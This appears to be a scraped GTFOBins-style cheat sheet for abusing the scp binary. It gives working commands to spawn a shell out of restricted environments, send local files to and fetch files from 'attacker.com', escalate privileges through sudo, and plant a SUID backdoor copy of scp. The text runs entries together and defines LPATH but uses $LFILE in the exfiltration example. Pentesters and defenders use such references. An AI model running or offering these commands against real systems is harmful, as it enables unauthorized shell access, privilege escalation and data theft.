It can be used to break out from restricted environments by spawning an interactive system shell.
TF=$(mktemp)
echo 'sh 0<&2 1>&2' > $TF
chmod +x "$TF"
scp -S $TF x y:It can exfiltrate files on the network.
Send local file to a SSH server.
RPATH=user@attacker.com:~/file_to_save
LPATH=file_to_send
scp $LFILE $RPATHIt can download remote files.
Fetch a remote file from a SSH server.
RPATH=user@attacker.com:~/file_to_get
LFILE=file_to_save
scp $RPATH $LFILEIt runs in privileged context and may be used to access the file system,
escalate or maintain access with elevated privileges if enabled on sudo.
TF=$(mktemp)
echo 'sh 0<&2 1>&2' > $TF
chmod +x "$TF"
sudo scp -S $TF x y:It runs with the SUID bit set and may be exploited to access the file
system, escalate or maintain access with elevated privileges working as a
SUID backdoor. If it is used to run commands it only works on systems
like Debian that allow the default sh shell to run with SUID privileges.
sudo sh -c 'cp $(which scp) .; chmod +s ./scp'
TF=$(mktemp)
echo 'sh 0<&2 1>&2' > $TF
chmod +x "$TF"
./scp -S $TF a b: